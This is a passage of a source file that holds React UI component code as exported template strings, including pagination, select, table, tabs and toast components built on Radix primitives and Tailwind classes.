NavigationMenuPrimitive.Trigger.displayName\n\nconst NavigationMenuContent = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.Content\n ref={ref}\n className={cn(\n \"left-0 top-0 w-full data-[motion^=from-]:animate-in data-[motion^=to-]:animate-out data-[motion^=from-]:fade-in data-[motion^=to-]:fade-out data-[motion=from-end]:slide-in-from-right-52 data-[motion=from-start]:slide-in-from-left-52 data-[motion=to-end]:slide-out-to-right-52 data-[motion=to-start]:slide-out-to-left-52 md:absolute md:w-auto\",\n className\n )}\n {...props}\n />\n))\nNavigationMenuContent.displayName = NavigationMenuPrimitive.Content.displayName\n\nconst NavigationMenuLink = NavigationMenuPrimitive.Link\n\nconst NavigationMenuViewport = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Viewport>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Viewport>\n>(({ className, ...props }, ref) => (\n <div className={cn(\"absolute left-0 top-full flex justify-center\")}>\n <NavigationMenuPrimitive.Viewport\n className={cn(\n \"origin-top-center relative mt-1.5 h-[var(--radix-navigation-menu-viewport-height)] w-full overflow-hidden rounded-md border border-gray-200 bg-white text-gray-950 shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-90 md:w-[var(--radix-navigation-menu-viewport-width)] dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n ref={ref}\n {...props}\n />\n </div>\n))\nNavigationMenuViewport.displayName =\n NavigationMenuPrimitive.Viewport.displayName\n\nconst NavigationMenuIndicator = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Indicator>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Indicator>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.Indicator\n ref={ref}\n className={cn(\n \"top-full z-[1] flex h-1.5 items-end justify-center overflow-hidden data-[state=visible]:animate-in data-[state=hidden]:animate-out data-[state=hidden]:fade-out data-[state=visible]:fade-in\",\n className\n )}\n {...props}\n >\n <div className=\"relative top-[60%] h-2 w-2 rotate-45 rounded-tl-sm bg-gray-200 shadow-md dark:bg-gray-800\" />\n </NavigationMenuPrimitive.Indicator>\n))\nNavigationMenuIndicator.displayName =\n NavigationMenuPrimitive.Indicator.displayName\n\nexport {\n navigationMenuTriggerStyle,\n NavigationMenu,\n NavigationMenuList,\n NavigationMenuItem,\n NavigationMenuContent,\n NavigationMenuTrigger,\n NavigationMenuLink,\n NavigationMenuIndicator,\n NavigationMenuViewport,\n}\n\n`;\nexport const pagination = `import * as React from \"react\"\nimport { ChevronLeft, ChevronRight, MoreHorizontal } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\nimport { ButtonProps, buttonVariants } from \"./button\"\n\nconst Pagination = ({ className, ...props }: React.ComponentProps<\"nav\">) => (\n <nav\n role=\"navigation\"\n aria-label=\"pagination\"\n className={cn(\"mx-auto flex w-full justify-center\", className)}\n {...props}\n />\n)\nPagination.displayName = \"Pagination\"\n\nconst PaginationContent = React.forwardRef<\n HTMLUListElement,\n React.ComponentProps<\"ul\">\n>(({ className, ...props }, ref) => (\n <ul\n ref={ref}\n className={cn(\"flex flex-row items-center gap-1\", className)}\n {...props}\n />\n))\nPaginationContent.displayName = \"PaginationContent\"\n\nconst PaginationItem = React.forwardRef<\n HTMLLIElement,\n React.ComponentProps<\"li\">\n>(({ className, ...props }, ref) => (\n <li ref={ref} className={cn(\"\", className)} {...props} />\n))\nPaginationItem.displayName = \"PaginationItem\"\n\ntype PaginationLinkProps = {\n isActive?: boolean\n} & Pick<ButtonProps, \"size\"> &\n React.ComponentProps<\"a\">\n\nconst PaginationLink = ({\n className,\n isActive,\n size = \"icon\",\n ...props\n}: PaginationLinkProps) => (\n <a\n aria-current={isActive ? \"page\" : undefined}\n className={cn(\n buttonVariants({\n variant: isActive ? \"outline\" : \"ghost\",\n size,\n }),\n className\n )}\n {...props}\n />\n)\nPaginationLink.displayName = \"PaginationLink\"\n\nconst PaginationPrevious = ({\n className,\n ...props\n}: React.ComponentProps<typeof PaginationLink>) => (\n <PaginationLink\n aria-label=\"Go to previous page\"\n size=\"default\"\n className={cn(\"gap-1 pl-2.5\", className)}\n {...props}\n >\n <ChevronLeft className=\"h-4 w-4\" />\n <span>Previous</span>\n </PaginationLink>\n)\nPaginationPrevious.displayName = \"PaginationPrevious\"\n\nconst PaginationNext = ({\n className,\n ...props\n}: React.ComponentProps<typeof PaginationLink>) => (\n <PaginationLink\n aria-label=\"Go to next page\"\n size=\"default\"\n className={cn(\"gap-1 pr-2.5\", className)}\n {...props}\n >\n <span>Next</span>\n <ChevronRight className=\"h-4 w-4\" />\n </PaginationLink>\n)\nPaginationNext.displayName = \"PaginationNext\"\n\nconst PaginationEllipsis = ({\n className,\n ...props\n}: React.ComponentProps<\"span\">) => (\n <span\n aria-hidden\n className={cn(\"flex h-9 w-9 items-center justify-center\", className)}\n {...props}\n >\n <MoreHorizontal className=\"h-4 w-4\" />\n <span className=\"sr-only\">More pages</span>\n </span>\n)\nPaginationEllipsis.displayName = \"PaginationEllipsis\"\n\nexport {\n Pagination,\n PaginationContent,\n PaginationEllipsis,\n PaginationItem,\n PaginationLink,\n PaginationNext,\n PaginationPrevious,\n}\n\n`;\nexport const popover = `import * as React from \"react\"\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Popover = PopoverPrimitive.Root\n\nconst PopoverTrigger = PopoverPrimitive.Trigger\n\nconst PopoverContent = React.forwardRef<\n React.ElementRef<typeof PopoverPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, ...props }, ref) => (\n <PopoverPrimitive.Portal>\n <PopoverPrimitive.Content\n ref={ref}\n align={align}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 w-72 rounded-md border border-gray-200 bg-white p-4 text-gray-950 shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </PopoverPrimitive.Portal>\n))\nPopoverContent.displayName = PopoverPrimitive.Content.displayName\n\nexport { Popover, PopoverTrigger, PopoverContent }\n\n`;\nexport const progress = `import * as React from \"react\"\nimport * as ProgressPrimitive from \"@radix-ui/react-progress\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Progress = React.forwardRef<\n React.ElementRef<typeof ProgressPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ProgressPrimitive.Root>\n>(({ className, value, ...props }, ref) => (\n <ProgressPrimitive.Root\n ref={ref}\n className={cn(\n \"relative h-4 w-full overflow-hidden rounded-full bg-gray-100 dark:bg-gray-800\",\n className\n )}\n {...props}\n >\n <ProgressPrimitive.Indicator\n className=\"h-full w-full flex-1 bg-gray-900 transition-all dark:bg-gray-50\"\n style={{ transform: \\`translateX(-\\${100 - (value || 0)}%)\\` }}\n />\n </ProgressPrimitive.Root>\n))\nProgress.displayName = ProgressPrimitive.Root.displayName\n\nexport { Progress }\n`;\nexport const radioGroup = `import * as React from \"react\"\nimport * as RadioGroupPrimitive from \"@radix-ui/react-radio-group\"\nimport { Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst RadioGroup = React.forwardRef<\n React.ElementRef<typeof RadioGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Root>\n>(({ className, ...props }, ref) => {\n return (\n <RadioGroupPrimitive.Root\n className={cn(\"grid gap-2\", className)}\n {...props}\n ref={ref}\n />\n )\n})\nRadioGroup.displayName = RadioGroupPrimitive.Root.displayName\n\nconst RadioGroupItem = React.forwardRef<\n React.ElementRef<typeof RadioGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Item>\n>(({ className, ...props }, ref) => {\n return (\n <RadioGroupPrimitive.Item\n ref={ref}\n className={cn(\n \"aspect-square h-4 w-4 rounded-full border border-gray-200 dark:border-gray-900 text-gray-900 ring-offset-white focus:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:text-gray-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n className\n )}\n {...props}\n >\n <RadioGroupPrimitive.Indicator className=\"flex items-center justify-center\">\n <Circle className=\"h-2.5 w-2.5 fill-current text-current\" />\n </RadioGroupPrimitive.Indicator>\n </RadioGroupPrimitive.Item>\n )\n})\nRadioGroupItem.displayName = RadioGroupPrimitive.Item.displayName\n\nexport { RadioGroup, RadioGroupItem }\n\n`;\nexport const select = `import * as React from \"react\"\nimport * as SelectPrimitive from \"@radix-ui/react-select\"\nimport { Check, ChevronDown, ChevronUp } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Select = SelectPrimitive.Root\n\nconst SelectGroup = SelectPrimitive.Group\n\nconst SelectValue = SelectPrimitive.Value\n\nconst SelectTrigger = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex h-10 w-full items-center justify-between rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white placeholder:text-gray-500 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus:ring-gray-300\",\n className\n )}\n {...props}\n >\n {children}\n <SelectPrimitive.Icon asChild>\n <ChevronDown className=\"h-4 w-4 opacity-50\" />\n </SelectPrimitive.Icon>\n </SelectPrimitive.Trigger>\n))\nSelectTrigger.displayName = SelectPrimitive.Trigger.displayName\n\nconst SelectScrollUpButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollUpButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollUpButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollUpButton\n ref={ref}\n className={cn(\n \"flex cursor-default items-center justify-center py-1\",\n className\n )}\n {...props}\n >\n <ChevronUp className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollUpButton>\n))\nSelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName\n\nconst SelectScrollDownButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollDownButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollDownButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollDownButton\n ref={ref}\n className={cn(\n \"flex cursor-default items-center justify-center py-1\",\n className\n )}\n {...props}\n >\n <ChevronDown className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollDownButton>\n))\nSelectScrollDownButton.displayName =\n SelectPrimitive.ScrollDownButton.displayName\n\nconst SelectContent = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>\n>(({ className, children, position = \"popper\", ...props }, ref) => (\n <SelectPrimitive.Portal>\n <SelectPrimitive.Content\n ref={ref}\n className={cn(\n \"relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n position === \"popper\" &&\n \"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1\",\n className\n )}\n position={position}\n {...props}\n >\n <SelectScrollUpButton />\n <SelectPrimitive.Viewport\n className={cn(\n \"p-1\",\n position === \"popper\" &&\n \"h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)]\"\n )}\n >\n {children}\n </SelectPrimitive.Viewport>\n <SelectScrollDownButton />\n </SelectPrimitive.Content>\n </SelectPrimitive.Portal>\n))\nSelectContent.displayName = SelectPrimitive.Content.displayName\n\nconst SelectLabel = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Label\n ref={ref}\n className={cn(\"py-1.5 pl-8 pr-2 text-sm font-semibold\", className)}\n {...props}\n />\n))\nSelectLabel.displayName = SelectPrimitive.Label.displayName\n\nconst SelectItem = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <SelectPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </SelectPrimitive.ItemIndicator>\n </span>\n\n <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n </SelectPrimitive.Item>\n))\nSelectItem.displayName = SelectPrimitive.Item.displayName\n\nconst SelectSeparator = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nSelectSeparator.displayName = SelectPrimitive.Separator.displayName\n\nexport {\n Select,\n SelectGroup,\n SelectValue,\n SelectTrigger,\n SelectContent,\n SelectLabel,\n SelectItem,\n SelectSeparator,\n SelectScrollUpButton,\n SelectScrollDownButton,\n}\n\n`;\nexport const separator = `import * as React from \"react\"\nimport * as SeparatorPrimitive from \"@radix-ui/react-separator\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Separator = React.forwardRef<\n React.ElementRef<typeof SeparatorPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>\n>(\n (\n { className, orientation = \"horizontal\", decorative = true, ...props },\n ref\n ) => (\n <SeparatorPrimitive.Root\n ref={ref}\n decorative={decorative}\n orientation={orientation}\n className={cn(\n \"shrink-0 bg-gray-200 dark:bg-gray-800\",\n orientation === \"horizontal\" ? \"h-[1px] w-full\" : \"h-full w-[1px]\",\n className\n )}\n {...props}\n />\n )\n)\nSeparator.displayName = SeparatorPrimitive.Root.displayName\n\nexport { Separator }\n\n`;\nexport const skeleton = `import { cn } from \"../../lib/utils\"\n\nfunction Skeleton({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) {\n return (\n <div\n className={cn(\"animate-pulse rounded-md bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n )\n}\n\nexport { Skeleton }\n`;\nexport const slider = `import * as React from \"react\"\nimport * as SliderPrimitive from \"@radix-ui/react-slider\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Slider = React.forwardRef<\n React.ElementRef<typeof SliderPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof SliderPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <SliderPrimitive.Root\n ref={ref}\n className={cn(\n \"relative flex w-full touch-none select-none items-center\",\n className\n )}\n {...props}\n >\n <SliderPrimitive.Track className=\"relative h-2 w-full grow overflow-hidden rounded-full bg-gray-100 dark:bg-gray-800\">\n <SliderPrimitive.Range className=\"absolute h-full bg-gray-900 dark:bg-gray-50\" />\n </SliderPrimitive.Track>\n <SliderPrimitive.Thumb className=\"block h-5 w-5 rounded-full border-2 border-gray-900 bg-white ring-offset-white transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 dark:border-gray-50 dark:bg-gray-950 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\" />\n </SliderPrimitive.Root>\n))\nSlider.displayName = SliderPrimitive.Root.displayName\n\nexport { Slider }\n\n`;\nexport const switchComponent = `import * as React from \"react\"\nimport * as SwitchPrimitives from \"@radix-ui/react-switch\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Switch = React.forwardRef<\n React.ElementRef<typeof SwitchPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root>\n>(({ className, ...props }, ref) => (\n <SwitchPrimitives.Root\n className={cn(\n \"peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 focus-visible:ring-offset-white disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-gray-900 data-[state=unchecked]:bg-gray-200 dark:focus-visible:ring-gray-300 dark:focus-visible:ring-offset-gray-950 dark:data-[state=checked]:bg-gray-50 dark:data-[state=unchecked]:bg-gray-800\",\n className\n )}\n {...props}\n ref={ref}\n >\n <SwitchPrimitives.Thumb\n className={cn(\n \"pointer-events-none block h-5 w-5 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0 dark:bg-gray-950\"\n )}\n />\n </SwitchPrimitives.Root>\n))\nSwitch.displayName = SwitchPrimitives.Root.displayName\n\nexport { Switch }\n\n`;\nexport const table = `import * as React from \"react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Table = React.forwardRef<\n HTMLTableElement,\n React.HTMLAttributes<HTMLTableElement>\n>(({ className, ...props }, ref) => (\n <div className=\"relative w-full overflow-auto\">\n <table\n ref={ref}\n className={cn(\"w-full caption-bottom text-sm\", className)}\n {...props}\n />\n </div>\n))\nTable.displayName = \"Table\"\n\nconst TableHeader = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <thead ref={ref} className={cn(\"[&_tr]:border-b\", className)} {...props} />\n))\nTableHeader.displayName = \"TableHeader\"\n\nconst TableBody = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <tbody\n ref={ref}\n className={cn(\"[&_tr:last-child]:border-0\", className)}\n {...props}\n />\n))\nTableBody.displayName = \"TableBody\"\n\nconst TableFooter = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <tfoot\n ref={ref}\n className={cn(\n \"border-t bg-gray-100/50 font-medium [&>tr]:last:border-b-0 dark:bg-gray-800/50\",\n className\n )}\n {...props}\n />\n))\nTableFooter.displayName = \"TableFooter\"\n\nconst TableRow = React.forwardRef<\n HTMLTableRowElement,\n React.HTMLAttributes<HTMLTableRowElement>\n>(({ className, ...props }, ref) => (\n <tr\n ref={ref}\n className={cn(\n \"border-b transition-colors hover:bg-gray-100/50 data-[state=selected]:bg-gray-100 dark:hover:bg-gray-800/50 dark:data-[state=selected]:bg-gray-800\",\n className\n )}\n {...props}\n />\n))\nTableRow.displayName = \"TableRow\"\n\nconst TableHead = React.forwardRef<\n HTMLTableCellElement,\n React.ThHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n <th\n ref={ref}\n className={cn(\n \"h-12 px-4 text-left align-middle font-medium text-gray-500 [&:has([role=checkbox])]:pr-0 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nTableHead.displayName = \"TableHead\"\n\nconst TableCell = React.forwardRef<\n HTMLTableCellElement,\n React.TdHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n <td\n ref={ref}\n className={cn(\"p-4 align-middle [&:has([role=checkbox])]:pr-0\", className)}\n {...props}\n />\n))\nTableCell.displayName = \"TableCell\"\n\nconst TableCaption = React.forwardRef<\n HTMLTableCaptionElement,\n React.HTMLAttributes<HTMLTableCaptionElement>\n>(({ className, ...props }, ref) => (\n <caption\n ref={ref}\n className={cn(\"mt-4 text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nTableCaption.displayName = \"TableCaption\"\n\nexport {\n Table,\n TableHeader,\n TableBody,\n TableFooter,\n TableHead,\n TableRow,\n TableCell,\n TableCaption,\n}\n\n`;\nexport const tabs = `import * as React from \"react\"\nimport * as TabsPrimitive from \"@radix-ui/react-tabs\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Tabs = TabsPrimitive.Root\n\nconst TabsList = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.List>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.List\n ref={ref}\n className={cn(\n \"inline-flex h-10 items-center justify-center rounded-md bg-gray-100 p-1 text-gray-500 dark:bg-gray-800 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nTabsList.displayName = TabsPrimitive.List.displayName\n\nconst TabsTrigger = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.Trigger\n ref={ref}\n className={cn(\n \"inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-white transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-white data-[state=active]:text-gray-950 data-[state=active]:shadow-sm dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300 dark:data-[state=active]:bg-gray-950 dark:data-[state=active]:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nTabsTrigger.displayName = TabsPrimitive.Trigger.displayName\n\nconst TabsContent = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.Content\n ref={ref}\n className={cn(\n \"mt-2 ring-offset-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n className\n )}\n {...props}\n />\n))\nTabsContent.displayName = TabsPrimitive.Content.displayName\n\nexport { Tabs, TabsList, TabsTrigger, TabsContent }\n\n`;\nexport const textarea = `import * as React from \"react\"\n\nimport { cn } from \"../../lib/utils\"\n\nexport interface TextareaProps\n extends React.TextareaHTMLAttributes<HTMLTextAreaElement> {}\n\nconst Textarea = React.forwardRef<HTMLTextAreaElement, TextareaProps>(\n ({ className, ...props }, ref) => {\n return (\n <textarea\n className={cn(\n \"flex min-h-[80px] w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white placeholder:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus-visible:ring-gray-300\",\n className\n )}\n ref={ref}\n {...props}\n />\n )\n }\n)\nTextarea.displayName = \"Textarea\"\n\nexport { Textarea }\n\n`;\nexport const toast = `import * as React from \"react\"\nimport * as ToastPrimitives from \"@radix-ui/react-toast\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst ToastProvider = ToastPrimitives.Provider\n\nconst ToastViewport = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Viewport>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Viewport\n ref={ref}\n className={cn(\n \"fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]\",\n className\n )}\n {...props}\n />\n))\nToastViewport.displayName = ToastPrimitives.Viewport.displayName\n\nconst toastVariants = cva(\n \"group pointer-events-auto relative flex w-full items-center justify-between space-x-4 overflow-hidden rounded-md border border-gray-200 p-6 pr-8 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full dark:border-gray-800\",\n {\n variants: {\n variant: {\n default: \"border bg-white text-gray-950 dark:bg-gray-950 dark:text-gray-50\",\n destructive:\n \"destructive group border-red-500 bg-red-500 text-gray-50 dark:border-red-900 dark:bg-red-900 dark:text-gray-50\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n },\n }\n)\n\nconst Toast = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &\n VariantProps<typeof toastVariants>\n>(({ className, variant, ...props }, ref) => {\n return (\n <ToastPrimitives.Root\n ref={ref}\n className={cn(toastVariants({ variant }), className)}\n {...props}\n />\n )\n})\nToast.displayName = ToastPrimitives.Root.displayName\n\nconst ToastAction = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Action>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Action\n ref={ref}\n className={cn(\n \"inline-flex h-8 shrink-0 items-center justify-center rounded-md border border-gray-200 bg-transparent px-3 text-sm font-medium ring-offset-white transition-colors hover:bg-gray-100 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-gray-100/40 group-[.destructive]:hover:border-red-500/30 group-[.destructive]:hover:bg-red-500 group-[.destructive]:hover:text-gray-50 group-[.destructive]:focus:ring-red-500 dark:border-gray-800 dark:ring-offset-gray-950 dark:hover:bg-gray-800 dark:focus:ring-gray-300 dark:group-[.destructive]:border-gray-800/40 dark:group-[.destructive]:hover:border-red-900/30 dark:group-[.destructive]:hover:bg-red-900 dark:group-[.destructive]:hover:text-gray-50 dark:group-[.destructive]:focus:ring-red-900\",\n className\n )}\n {...props}\n />\n))\nToastAction.displayName = ToastPrimitives.Action.displayName\n\nconst ToastClose = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Close>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Close\n ref={ref}\n className={cn(\n \"absolute right-2 top-2 rounded-md p-1 text-gray-950/50 opacity-0 transition-opacity hover:text-gray-950 focus:opacity-100 focus:outline-none focus:ring-2 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600 dark:text-gray-50/50 dark:hover:text-gray-50\",\n className\n )}\n toast-close=\"\"\n {...props}\n >\n <X className=\"h-4 w-4\" />\n </ToastPrimitives.Close>\n))\nToastClose.displayName = ToastPrimitives.Close.displayName\n\nconst ToastTitle = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Title>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Title\n ref={ref}\n className={cn(\"text-sm font-semibold\", className)}\n {...props}\n />\n))\nToastTitle.displayName = ToastPrimitives.Title.displayName\n\nconst ToastDescription = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Description>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Description\n ref={ref}\n className={cn(\"text-sm opacity-90\", className)}\n {...props}\n />\n))\nToastDescription.displayName = ToastPrimitives.Description.displayName\n\ntype ToastProps = React.ComponentPropsWithoutRef<typeof Toast>\n\ntype ToastActionElement = React.ReactElement<typeof ToastAction>\n\nexport {\n type ToastProps,\n type ToastActionElement,\n ToastProvider,\n ToastViewport,\n Toast,\n ToastTitle,\n ToastDescription,\n ToastClose,\n ToastAction,\n}\n\n`;\nexport const toaster = `import {\n Toast,\n ToastClose,\n ToastDescription,\n ToastProvider,\n ToastTitle,\n ToastViewport,\n} from \"./toast\"\nimport { useToast } from \"./use-toast\"\n\nexport function Toaster() {\n const { toasts } = useToast()\n\n return (\n 